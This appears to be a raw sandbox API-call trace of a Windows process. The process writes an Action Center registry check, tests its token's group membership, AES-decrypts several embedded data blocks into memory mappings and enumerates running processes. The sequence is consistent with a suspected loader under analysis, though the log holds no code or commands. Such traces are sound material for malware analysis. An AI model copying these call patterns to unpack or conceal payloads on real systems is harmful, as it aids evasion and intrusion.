[0114.021] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Action Center\\Checks\\{C8E6F269-B90A-4053-A3BE-499AFCEC98C4}.check.0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2001f, lpSecurityAttributes=0x0, phkResult=0x1b20d4f0, lpdwDisposition=0x1b20d5d8 | out: phkResult=0x1b20d4f0*=0x3d4, lpdwDisposition=0x1b20d5d8*=0x1) returned 0x0 [0114.026] RegQueryValueExW (in: hKey=0x3d4, lpValueName="CheckSetting", lpReserved=0x0, lpType=0x1b20d5a8, lpData=0x0, lpcbData=0x1b20d5a0*=0x0 | out: lpType=0x1b20d5a8*=0x0, lpData=0x0, lpcbData=0x1b20d5a0*=0x0) returned 0x2 [0114.035] RegSetValueExW (in: hKey=0x3d4, lpValueName="CheckSetting", Reserved=0x0, dwType=0x3, lpData=0x25fc5b8*, cbData=0x24 | out: lpData=0x25fc5b8*) returned 0x0 [0114.035] RegCloseKey (hKey=0x3d4) returned 0x0 [0114.039] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5600, lpName=0x0) returned 0x3d4 [0114.039] memcpy (in: _Dst=0x1ace0000, _Src=0x25fdbc8, _Size=0x5600 | out: _Dst=0x1ace0000) returned 0x1ace0000 [0114.406] GetCurrentProcess () returned 0xffffffffffffffff [0114.450] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b20d568 | out: TokenHandle=0x1b20d568*=0x3dc) returned 1 [0114.456] GetTokenInformation (in: TokenHandle=0x3dc, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x1b20d5c8 | out: TokenInformation=0x0, ReturnLength=0x1b20d5c8) returned 0 [0114.457] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x1b394b20 [0114.457] GetTokenInformation (in: TokenHandle=0x3dc, TokenInformationClass=0x8, TokenInformation=0x1b394b20, TokenInformationLength=0x4, ReturnLength=0x1b20d5c8 | out: TokenInformation=0x1b394b20, ReturnLength=0x1b20d5c8) returned 1 [0114.466] LocalFree (hMem=0x1b394b20) returned 0x0 [0114.468] DuplicateTokenEx (in: hExistingToken=0x3dc, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x1b20d628 | out: phNewToken=0x1b20d628*=0x3e0) returned 1 [0114.470] CheckTokenMembership (in: TokenHandle=0x3e0, SidToCheck=0x26067e8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x1b20d630 | out: IsMember=0x1b20d630) returned 1 [0114.470] CloseHandle (hObject=0x3e0) returned 1 [0114.470] CloseHandle (hObject=0x3dc) returned 1 [0114.472] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1600, lpName=0x0) returned 0x3dc [0114.473] memcpy (in: _Dst=0x1b210000, _Src=0x2607a00, _Size=0x1600 | out: _Dst=0x1b210000) returned 0x1b210000 [0114.709] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb400, lpName=0x0) returned 0x3dc [0114.710] memcpy (in: _Dst=0x1b230000, _Src=0x2610730, _Size=0xb400 | out: _Dst=0x1b230000) returned 0x1b230000 [0115.067] CryptAcquireContextW (in: phProv=0x1b20b7d8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1b20b7d8*=0x35b9d0) returned 1 [0115.068] CryptImportKey (in: hProv=0x35b9d0, pbData=0x2627098*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x1b20b760 | out: phKey=0x1b20b760*=0x32a490) returned 1 [0115.068] CryptContextAddRef (hProv=0x35b9d0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0115.069] CryptContextAddRef (hProv=0x35b9d0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0115.069] CryptDuplicateKey (in: hKey=0x32a490, pdwReserved=0x0, dwFlags=0x0, phKey=0x1b20b750 | out: phKey=0x1b20b750*=0x329fc0) returned 1 [0115.069] CryptContextAddRef (hProv=0x35b9d0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0115.069] CryptSetKeyParam (hKey=0x329fc0, dwParam=0x4, pbData=0x26271b8*=0x1, dwFlags=0x0) returned 1 [0115.069] CryptSetKeyParam (hKey=0x329fc0, dwParam=0x1, pbData=0x2627168, dwFlags=0x0) returned 1 [0115.069] CryptDestroyKey (hKey=0x32a490) returned 1 [0115.069] CryptReleaseContext (hProv=0x35b9d0, dwFlags=0x0) returned 1 [0115.069] CryptReleaseContext (hProv=0x35b9d0, dwFlags=0x0) returned 1 [0115.069] CryptDecrypt (in: hKey=0x329fc0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26271d8, pdwDataLen=0x1b20b8b0 | out: pbData=0x26271d8, pdwDataLen=0x1b20b8b0) returned 1 [0115.069] CryptDecrypt (in: hKey=0x329fc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2628200, pdwDataLen=0x1b20b8a0 | out: pbData=0x2628200, pdwDataLen=0x1b20b8a0) returned 0 [0115.338] CryptDestroyKey (hKey=0x329fc0) returned 1 [0115.338] CryptReleaseContext (hProv=0x35b9d0, dwFlags=0x0) returned 1 [0115.338] CryptReleaseContext (hProv=0x35b9d0, dwFlags=0x0) returned 1 [0115.413] GetACP () returned 0x4e4 [0116.843] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5600, lpName=0x0) returned 0x404 [0116.844] memcpy (in: _Dst=0x1b260000, _Src=0x2641c68, _Size=0x5600 | out: _Dst=0x1b260000) returned 0x1b260000 [0117.236] CryptAcquireContextW (in: phProv=0x1b20b998, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1b20b998*=0x35a9d0) returned 1 [0117.238] CryptImportKey (in: hProv=0x35a9d0, pbData=0x264a9d0*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x1b20b920 | out: phKey=0x1b20b920*=0x1b3c25e0) returned 1 [0117.238] CryptContextAddRef (hProv=0x35a9d0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0117.238] CryptContextAddRef (hProv=0x35a9d0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0117.238] CryptDuplicateKey (in: hKey=0x1b3c25e0, pdwReserved=0x0, dwFlags=0x0, phKey=0x1b20b910 | out: phKey=0x1b20b910*=0x1b3c2d50) returned 1 [0117.238] CryptContextAddRef (hProv=0x35a9d0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0117.238] CryptSetKeyParam (hKey=0x1b3c2d50, dwParam=0x4, pbData=0x264aaf0*=0x1, dwFlags=0x0) returned 1 [0117.238] CryptSetKeyParam (hKey=0x1b3c2d50, dwParam=0x1, pbData=0x264aaa0, dwFlags=0x0) returned 1 [0117.239] CryptDestroyKey (hKey=0x1b3c25e0) returned 1 [0117.239] CryptReleaseContext (hProv=0x35a9d0, dwFlags=0x0) returned 1 [0117.239] CryptReleaseContext (hProv=0x35a9d0, dwFlags=0x0) returned 1 [0117.239] CryptDecrypt (in: hKey=0x1b3c2d50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x264ab10, pdwDataLen=0x1b20ba70 | out: pbData=0x264ab10, pdwDataLen=0x1b20ba70) returned 1 [0117.239] CryptDecrypt (in: hKey=0x1b3c2d50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x264ad40, pdwDataLen=0x1b20ba60 | out: pbData=0x264ad40, pdwDataLen=0x1b20ba60) returned 0 [0117.856] CryptDestroyKey (hKey=0x1b3c2d50) returned 1 [0117.856] CryptReleaseContext (hProv=0x35a9d0, dwFlags=0x0) returned 1 [0117.856] CryptReleaseContext (hProv=0x35a9d0, dwFlags=0x0) returned 1 [0117.880] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4a00, lpName=0x0) returned 0x404 [0117.880] memcpy (in: _Dst=0x1b270000, _Src=0x2658150, _Size=0x4a00 | out: _Dst=0x1b270000) returned 0x1b270000 [0118.215] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6400, lpName=0x0) returned 0x40c [0118.215] memcpy (in: _Dst=0x1b280000, _Src=0x266d880, _Size=0x6400 | out: _Dst=0x1b280000) returned 0x1b280000 [0118.469] CryptAcquireContextW (in: phProv=0x1b20b4d8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1b20b4d8*=0x1b3d04b0) returned 1 [0118.470] CryptImportKey (in: hProv=0x1b3d04b0, pbData=0x267bfa0*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x1b20b460 | out: phKey=0x1b20b460*=0x1b3c2d50) returned 1 [0118.470] CryptContextAddRef (hProv=0x1b3d04b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0118.470] CryptContextAddRef (hProv=0x1b3d04b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0118.471] CryptDuplicateKey (in: hKey=0x1b3c2d50, pdwReserved=0x0, dwFlags=0x0, phKey=0x1b20b450 | out: phKey=0x1b20b450*=0x1b3c2ea0) returned 1 [0118.471] CryptContextAddRef (hProv=0x1b3d04b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0118.471] CryptSetKeyParam (hKey=0x1b3c2ea0, dwParam=0x4, pbData=0x267c0c0*=0x1, dwFlags=0x0) returned 1 [0118.471] CryptSetKeyParam (hKey=0x1b3c2ea0, dwParam=0x1, pbData=0x267c070, dwFlags=0x0) returned 1 [0118.471] CryptDestroyKey (hKey=0x1b3c2d50) returned 1 [0118.471] CryptReleaseContext (hProv=0x1b3d04b0, dwFlags=0x0) returned 1 [0118.471] CryptReleaseContext (hProv=0x1b3d04b0, dwFlags=0x0) returned 1 [0118.471] CryptDecrypt (in: hKey=0x1b3c2ea0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x267c0e0, pdwDataLen=0x1b20b5b0 | out: pbData=0x267c0e0, pdwDataLen=0x1b20b5b0) returned 1 [0118.471] CryptDecrypt (in: hKey=0x1b3c2ea0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x267c428, pdwDataLen=0x1b20b5a0 | out: pbData=0x267c428, pdwDataLen=0x1b20b5a0) returned 0 [0118.999] CryptDestroyKey (hKey=0x1b3c2ea0) returned 1 [0118.999] CryptReleaseContext (hProv=0x1b3d04b0, dwFlags=0x0) returned 1 [0118.999] CryptReleaseContext (hProv=0x1b3d04b0, dwFlags=0x0) returned 1 [0119.047] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6200, lpName=0x0) returned 0x42c [0119.048] memcpy (in: _Dst=0x1b490000, _Src=0x268cd40, _Size=0x6200 | out: _Dst=0x1b490000) returned 0x1b490000 [0119.229] CryptAcquireContextW (in: phProv=0x1b20b8a8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1b20b8a8*=0x1b3d04b0) returned 1 [0119.230] CryptImportKey (in: hProv=0x1b3d04b0, pbData=0x269b5d0*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x1b20b830 | out: phKey=0x1b20b830*=0x1b3c2810) returned 1 [0119.231] CryptContextAddRef (hProv=0x1b3d04b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0119.231] CryptContextAddRef (hProv=0x1b3d04b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0119.231] CryptDuplicateKey (in: hKey=0x1b3c2810, pdwReserved=0x0, dwFlags=0x0, phKey=0x1b20b820 | out: phKey=0x1b20b820*=0x1b3c2ea0) returned 1 [0119.231] CryptContextAddRef (hProv=0x1b3d04b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0119.231] CryptSetKeyParam (hKey=0x1b3c2ea0, dwParam=0x4, pbData=0x269b6f0*=0x1, dwFlags=0x0) returned 1 [0119.231] CryptSetKeyParam (hKey=0x1b3c2ea0, dwParam=0x1, pbData=0x269b6a0, dwFlags=0x0) returned 1 [0119.231] CryptDestroyKey (hKey=0x1b3c2810) returned 1 [0119.231] CryptReleaseContext (hProv=0x1b3d04b0, dwFlags=0x0) returned 1 [0119.231] CryptReleaseContext (hProv=0x1b3d04b0, dwFlags=0x0) returned 1 [0119.231] CryptDecrypt (in: hKey=0x1b3c2ea0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x269b710, pdwDataLen=0x1b20b980 | out: pbData=0x269b710, pdwDataLen=0x1b20b980) returned 1 [0119.231] CryptDecrypt (in: hKey=0x1b3c2ea0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x269b818, pdwDataLen=0x1b20b970 | out: pbData=0x269b818, pdwDataLen=0x1b20b970) returned 0 [0119.616] CryptDestroyKey (hKey=0x1b3c2ea0) returned 1 [0119.616] CryptReleaseContext (hProv=0x1b3d04b0, dwFlags=0x0) returned 1 [0119.616] CryptReleaseContext (hProv=0x1b3d04b0, dwFlags=0x0) returned 1 [0120.000] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1c00, lpName=0x0) returned 0x45c [0120.001] memcpy (in: _Dst=0x1b510000, _Src=0x25135a8, _Size=0x1c00 | out: _Dst=0x1b510000) returned 0x1b510000 [0120.238] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5200, lpName=0x0) returned 0x474 [0120.239] memcpy (in: _Dst=0x1b4a0000, _Src=0x2519258, _Size=0x5200 | out: _Dst=0x1b4a0000) returned 0x1b4a0000 [0120.703] CryptAcquireContextW (in: phProv=0x1b20b9a8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1b20b9a8*=0x1b3d0cb0) returned 1 [0120.704] CryptImportKey (in: hProv=0x1b3d0cb0, pbData=0x25a5a60*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x1b20b930 | out: phKey=0x1b20b930*=0x1b3c2730) returned 1 [0120.704] CryptContextAddRef (hProv=0x1b3d0cb0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0120.704] CryptContextAddRef (hProv=0x1b3d0cb0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0120.705] CryptDuplicateKey (in: hKey=0x1b3c2730, pdwReserved=0x0, dwFlags=0x0, phKey=0x1b20b920 | out: phKey=0x1b20b920*=0x1b3c2500) returned 1 [0120.705] CryptContextAddRef (hProv=0x1b3d0cb0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0120.705] CryptSetKeyParam (hKey=0x1b3c2500, dwParam=0x4, pbData=0x25a5b80*=0x1, dwFlags=0x0) returned 1 [0120.705] CryptSetKeyParam (hKey=0x1b3c2500, dwParam=0x1, pbData=0x25a5b30, dwFlags=0x0) returned 1 [0120.705] CryptDestroyKey (hKey=0x1b3c2730) returned 1 [0120.705] CryptReleaseContext (hProv=0x1b3d0cb0, dwFlags=0x0) returned 1 [0120.705] CryptReleaseContext (hProv=0x1b3d0cb0, dwFlags=0x0) returned 1 [0120.706] CryptDecrypt (in: hKey=0x1b3c2500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x25a5ba0, pdwDataLen=0x1b20ba80 | out: pbData=0x25a5ba0, pdwDataLen=0x1b20ba80) returned 1 [0120.706] CryptDecrypt (in: hKey=0x1b3c2500, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x25a5c90, pdwDataLen=0x1b20ba70 | out: pbData=0x25a5c90, pdwDataLen=0x1b20ba70) returned 0 [0121.247] CryptDestroyKey (hKey=0x1b3c2500) returned 1 [0121.247] CryptReleaseContext (hProv=0x1b3d0cb0, dwFlags=0x0) returned 1 [0121.247] CryptReleaseContext (hProv=0x1b3d0cb0, dwFlags=0x0) returned 1 [0121.297] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4200, lpName=0x0) returned 0x474 [0121.298] memcpy (in: _Dst=0x1b4b0000, _Src=0x26346f0, _Size=0x4200 | out: _Dst=0x1b4b0000) returned 0x1b4b0000 [0121.418] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8400, lpName=0x0) returned 0x474 [0121.419] memcpy (in: _Dst=0x1b4c0000, _Src=0x263b9a0, _Size=0x8400 | out: _Dst=0x1b4c0000) returned 0x1b4c0000 [0121.719] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1000, lpName=0x0) returned 0x47c [0121.722] memcpy (in: _Dst=0x1b4d0000, _Src=0x26cab40, _Size=0x1000 | out: _Dst=0x1b4d0000) returned 0x1b4d0000 [0121.774] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1800, lpName=0x0) returned 0x47c [0121.775] memcpy (in: _Dst=0x1b4e0000, _Src=0x26ce1e8, _Size=0x1800 | out: _Dst=0x1b4e0000) returned 0x1b4e0000 [0121.868] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5800, lpName=0x0) returned 0x47c [0121.869] memcpy (in: _Dst=0x1b4f0000, _Src=0x26d3b70, _Size=0x5800 | out: _Dst=0x1b4f0000) returned 0x1b4f0000 [0122.180] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1200, lpName=0x0) returned 0x47c [0122.181] memcpy (in: _Dst=0x1b500000, _Src=0x26dc0b8, _Size=0x1200 | out: _Dst=0x1b500000) returned 0x1b500000 [0122.413] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5a00, lpName=0x0) returned 0x3ec [0122.414] memcpy (in: _Dst=0x1b520000, _Src=0x2648388, _Size=0x5a00 | out: _Dst=0x1b520000) returned 0x1b520000 [0123.070] CryptAcquireContextW (in: phProv=0x1b20b8e8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1b20b8e8*=0x1b3ce1b0) returned 1 [0123.073] CryptImportKey (in: hProv=0x1b3ce1b0, pbData=0x26d8058*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x1b20b870 | out: phKey=0x1b20b870*=0x1b3c2420) returned 1 [0123.073] CryptContextAddRef (hProv=0x1b3ce1b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0123.073] CryptContextAddRef (hProv=0x1b3ce1b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0123.073] CryptDuplicateKey (in: hKey=0x1b3c2420, pdwReserved=0x0, dwFlags=0x0, phKey=0x1b20b860 | out: phKey=0x1b20b860*=0x1b3c28f0) returned 1 [0123.074] CryptContextAddRef (hProv=0x1b3ce1b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0123.074] CryptSetKeyParam (hKey=0x1b3c28f0, dwParam=0x4, pbData=0x26d8178*=0x1, dwFlags=0x0) returned 1 [0123.074] CryptSetKeyParam (hKey=0x1b3c28f0, dwParam=0x1, pbData=0x26d8128, dwFlags=0x0) returned 1 [0123.074] CryptDestroyKey (hKey=0x1b3c2420) returned 1 [0123.074] CryptReleaseContext (hProv=0x1b3ce1b0, dwFlags=0x0) returned 1 [0123.074] CryptReleaseContext (hProv=0x1b3ce1b0, dwFlags=0x0) returned 1 [0123.074] CryptDecrypt (in: hKey=0x1b3c28f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26d8198, pdwDataLen=0x1b20b9c0 | out: pbData=0x26d8198, pdwDataLen=0x1b20b9c0) returned 1 [0123.074] CryptDecrypt (in: hKey=0x1b3c28f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x26d8328, pdwDataLen=0x1b20b9b0 | out: pbData=0x26d8328, pdwDataLen=0x1b20b9b0) returned 0 [0123.487] CryptDestroyKey (hKey=0x1b3c28f0) returned 1 [0123.488] CryptReleaseContext (hProv=0x1b3ce1b0, dwFlags=0x0) returned 1 [0123.488] CryptReleaseContext (hProv=0x1b3ce1b0, dwFlags=0x0) returned 1 Thread: id = 41 os_tid = 0x1214 Thread: id = 42 os_tid = 0x11f8 Thread: id = 43 os_tid = 0xb28 Thread: id = 44 os_tid = 0x115c [0128.733] CoGetContextToken (in: pToken=0x1b38f740 | out: pToken=0x1b38f740) returned 0x0 [0128.733] IUnknown:QueryInterface (in: This=0x3111c0, riid=0x7ffb02934998*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b38f778 | out: ppvObject=0x1b38f778*=0x3111d8) returned 0x0 [0128.734] IComThreadingInfo:GetCurrentThreadType (in: This=0x3111d8, pThreadType=0x1b38f7e8 | out: pThreadType=0x1b38f7e8*=0) returned 0x0 [0128.734] IUnknown:Release (This=0x3111d8) returned 0x1 Thread: id = 45 os_tid = 0x1154 [0112.591] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0112.592] RoInitialize () returned 0x1 [0112.592] RoUninitialize () returned 0x0 [0113.008] CoUninitialize () Thread: id = 46 os_tid = 0x1298 [0114.879] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0114.879] RoInitialize () returned 0x1 [0114.879] RoUninitialize () returned 0x0 [0114.895] CoUninitialize () Thread: id = 47 os_tid = 0x12a4 [0118.303] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0118.303] RoInitialize () returned 0x1 [0118.303] RoUninitialize () returned 0x0 [0118.313] CoUninitialize () Thread: id = 48 os_tid = 0x12a8 [0119.875] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0119.875] RoInitialize () returned 0x1 [0119.875] RoUninitialize () returned 0x0 [0120.157] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x131358d0, Length=0x20000, ResultLength=0x1b88ef40 | out: SystemInformation=0x131358d0, ResultLength=0x1b88ef40*=0x1cbe8) returned 0x0 [0120.296] GetCurrentProcessId () returned 0x388 [0120.300] GetCurrentProcessId () returned 0x388 [0120.300] GetCurrentProcessId () returned 0x388 [0120.300] GetCurrentProcessId () returned 0x388 [0120.300] GetCurrentProcessId () returned 0x388 [0120.300] GetCurrentProcessId () returned 0x388 [0120.300] GetCurrentProcessId () returned 0x388 [0120.300] GetCurrentProcessId () returned 0x388 [0120.301] GetCurrentProcessId () returned 0x388 [0120.301] GetCurrentProcessId () returned 0x388 [0120.301] GetCurrentProcessId () returned 0x388 [0120.301] GetCurrentProcessId () returned 0x388 [0120.301] GetCurrentProcessId () returned 0x388 [0120.301] GetCurrentProcessId () returned 0x388 [0120.301] GetCurrentProcessId () returned 0x388 [0120.301] GetCurrentProcessId () returned 0x388 [0120.301] GetCurrentProcessId () returned 0x388 [0120.301] GetCurrentProcessId () returned 0x388 [0120.301] GetCurrentProcessId () returned 0x388 [0120.301] GetCurrentProcessId () returned 0x388 [0120.301] GetCurrentProcessId () returned 0x388 [0120.301] GetCurrentProcessId () returned 0x388 [0120.301] GetCurrentProcessId () returned 0x388 [0120.301] GetCurrentProcessId () returned 0x388 [0120.301] GetCurrentProcessId () returned 0x388 [0120.301] GetCurrentProcessId () returned 0x388 [0120.301] GetCurrentProcessId () returned 0x388 [0120.301] GetCurrentProcessId () returned 0x388 [0120.301] GetCurrentProcessId () returned 0x388 [0120.301] GetCurrentProcessId () returned 0x388 [0120.301] GetCurrentProcessId () returned 0x388 [0120.301] GetCurrentProcessId () returned 0x388 [0120.301] GetCurrentProcessId () returned 0x388 [0120.301] GetCurrentProcessId () returned 0x388 [0120.301] GetCurrentProcessId () returned 0x388 [0120.301] GetCurrentProcessId () returned 0x388 [0120.302] GetCurrentProcessId () returned 0x388 [0120.302] GetCurrentProcessId () returned 0x388 [0120.302] GetCurrentProcessId () returned 0x388 [0120.302] GetCurrentProcessId () returned 0x388 [0120.302] GetCurrentProcessId () returned 0x388 [0120.302] GetCurrentProcessId () returned 0x388 [0120.302] GetCurrentProcessId () returned 0x388 [0120.302] GetCurrentProcessId () returned 0x388 [0120.302] GetCurrentProcessId () returned 0x388 [0120.302] GetCurrentProcessId () returned 0x388 [0120.302] GetCurrentProcessId () returned 0x388 [0120.302] GetCurrentProcessId () returned 0x388 [0120.302] GetCurrentProcessId () returned 0x388 [0120.302] GetCurrentProcessId () returned 0x388 [0120.302] GetCurrentProcessId () returned 0x388 [0120.302] GetCurrentProcessId () returned 0x388 [0120.302] GetCurrentProcessId () returned 0x388 [0120.302] GetCurrentProcessId () returned 0x388 [0120.302] GetCurrentProcessId () returned 0x388 [0120.302] GetCurrentProcessId () returned 0x388 [0120.302] GetCurrentProcessId () returned 0x388 [0120.302] GetCurrentProcessId () returned 0x388 [0120.302] GetCurrentProcessId () returned 0x388 [0120.302] GetCurrentProcessId () returned 0x388 [0120.302] GetCurrentProcessId () returned 0x388 [0120.302] GetCurrentProcessId () returned 0x388 [0120.302] GetCurrentProcessId () returned 0x388 [0120.302] GetCurrentProcessId () returned 0x388 [0120.302] GetCurrentProcessId () returned 0x388 [0120.303] GetCurrentProcessId () returned 0x388 [0120.303] GetCurrentProcessId () returned 0x388 [0120.303] GetCurrentProcessId () returned 0x388 [0120.303] GetCurrentProcessId () returned 0x388 [0120.303] GetCurrentProcessId () returned 0x388 [0120.303] GetCurrentProcessId () returned 0x388 [0120.303] GetCurrentProcessId () returned 0x388 [0120.303] GetCurrentProcessId () returned 0x388 [0120.303] GetCurrentProcessId () returned 0x388 [0120.303] GetCurrentProcessId () returned 0x388 [0120.303] GetCurrentProcessId () returned 0x388 [0120.303] GetCurrentProcessId () returned 0x388 [0120.303] GetCurrentProcessId () returned 0x388 [0120.303] GetCurrentProcessId () returned 0x388 [0120.303] GetCurrentProcessId () returned 0x388 [0120.303] GetCurrentProcessId () returned 0x388 [0120.303] GetCurrentProcessId () returned 0x388 [0120.303] GetCurrentProcessId () returned 0x388 [0120.303] GetCurrentProcessId () returned 0x388 [0120.303] GetCurrentProcessId () returned 0x388 [0120.303] GetCurrentProcessId () returned 0x388 [0120.303] GetCurrentProcessId () returned 0x388 [0120.303] GetCurrentProcessId () returned 0x388 [0120.303] GetCurrentProcessId () returned 0x388 [0120.303] GetCurrentProcessId () returned 0x388 [0120.303] GetCurrentProcessId () returned 0x388 [0120.303] GetCurrentProcessId () returned 0x388 [0120.303] GetCurrentProcessId () returned 0x388 [0120.304] GetCurrentProcessId () returned 0x388 [0120.304] GetCurrentProcessId () returned 0x388 [0120.304] GetCurrentProcessId () returned 0x388 [0120.304] GetCurrentProcessId () returned 0x388 [0120.304] GetCurrentProcessId () returned 0x388 [0120.304] GetCurrentProcessId () returned 0x388 [0120.304] GetCurrentProcessId () returned 0x388 [0120.304] GetCurrentProcessId () returned 0x388 [0120.304] GetCurrentProcessId () returned 0x388 [0120.304] GetCurrentProcessId () returned 0x388 [0120.304] GetCurrentProcessId () returned 0x388 [0120.304] GetCurrentProcessId () returned 0x388 [0120.304] GetCurrentProcessId () returned 0x388 [0120.943] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x131358d0, Length=0x20000, ResultLength=0x1b88ef40 | out: SystemInformation=0x131358d0, ResultLength=0x1b88ef40*=0x1cb98) returned 0x0 [0120.960] GetCurrentProcessId () returned 0x388 [0120.960] GetCurrentProcessId () returned 0x388 [0120.960] GetCurrentProcessId () returned 0x388 [0120.960] GetCurrentProcessId () returned 0x388 [0120.960] GetCurrentProcessId () returned 0x388 [0120.960] GetCurrentProcessId () returned 0x388 [0120.960] GetCurrentProcessId () returned 0x388 [0120.960] GetCurrentProcessId () returned 0x388 [0120.961] GetCurrentProcessId () returned 0x388 [0120.961] GetCurrentProcessId () returned 0x388 [0120.961] GetCurrentProcessId () returned 0x388 [0120.961] GetCurrentProcessId () returned 0x388 [0120.961] GetCurrentProcessId () returned 0x388 [0120.961] GetCurrentProcessId () returned 0x388 